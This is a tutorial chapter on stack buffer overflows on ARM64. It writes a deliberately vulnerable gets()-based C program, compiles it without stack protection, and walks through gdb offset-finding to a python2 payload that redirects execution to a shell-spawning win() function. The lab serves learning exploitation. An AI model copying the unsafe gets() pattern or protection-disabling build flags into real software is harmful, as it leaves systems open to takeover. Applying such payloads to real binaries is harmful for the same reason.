Stack-based buffer overflows on ARM64

Introduction

So we covered some basics of ARM64 instructions in the previous chapters. Now let's see an example of a simple buffer overflow.

Boot up your arm64 environment and ssh into that.

Make sure you disabled your ALSR.

Vulnerable Program

Let's start writing a simple vulnerable program.

#include <stdlib.h>
#include <string.h>
#include <stdio.h>

void  win(){
printf("Congrats you got a shell :) ");
system("/bin/sh");
exit(0);
} 

void buf(){
char max[10];
gets(max);
}

int main()
{
char max[6];
printf("Overflow  me daddy Uwu \n");
buf();
return 0;
}

Now let's compile it.

sudo gcc bof.c -fno-stack-protector -z execstack -o bof

Now let's run the binary and just test it.

So it's working fine.

The goal here is to call the win() function so that we can land a shell.

Now throw some more "A" s and see what happens.

As expected the program crashed. Let's inspect this using gdb.

gdb ./bof

Put a breakpoint at the main and run the program.

b main

Our bp has been hit.

Let's disassemble the main function.

disass main

The vulnerable 'gets' function is inside the "buf" function. So let's also disassemble the "buf" function.

Put a breakpoint at ret and run the program with a large amount of "A"s.

So our bp has been hit. Let's inspect the stack and see what it looks like using examine command.

gef➤ x/50gx $sp - 64

We can see that our "A" s have been filled in the stack.

The yellow marked address: 0x000000000040074c is the return address to the main. if we check the x30 register we can confirm that.

So you will be thinking what did our "A"s really overwrite if not the return address to the main?

Let's find out.

First, Let's continue stepping through the instructions until we return to the main function.

So we can see an "ldp" instruction here. if we were to step over this instruction what values would be loaded into the x29 and x30 register?

Let's do that.

As suspected, the x29 and x30 register was filled with our "A"s.

When we hit the 'ret' instruction the program will crash because the pc will try to resolve the address in the x30 register. If we provided the input normally, the return address in the stack won't get overwritten and the program would be exited normally.

So we understood how the program crashes. Now let's try leveraging this overflow to execute the win function to get the shell.

For that, we must find the offset of our input that is overflowed to hijack the registers.

Here, we must find the offset of our input in our x30 register because the x30 register can help us to control pc as it contains the return address.

For this Let's use our pattern generator.

I will be generating a pattern of 100 characters.

Let's run our program inside gdb and provide this pattern as input.

Let's paste this value of the x30 register in the tool to find the offset.

So the offset is 24. if even provide input of more than 24 characters or bytes it will overwrite the x30 register.

Let's try this and check if this is correct.

Start the program inside gdb and provide 24 "A"s and 8 "B"

I generated this string using python.

python2 -c "print('A' * 24 + 'B' * 8 )"

As predicted our x30 register is filled with "B"s.

Look at the pc too. its also filled with "B"s but it doesn't use the entire 64-bit for addressing.

Now the final thing to do is find the address of the win function and put that in our exploit.

So let's do that.

So the address is 0x00000000004006f0.

Now let's create the exploit string and run the program outside the gdb.

I filled the buffer with 24 junk characters and the address of the win function in the little-endian format.

python2 -c "print('A' * 24 + '\xf0\x06\x40\x00\x00\x00\x00\x00' )" | ./bof

As expected we got the shell.

So this is all for this chapter. But I recommend you to do the same exercise but embed a shellcode and try to execute that shellcode.

In the next chapter we will looking into ROP chains on ARM64.

Last updated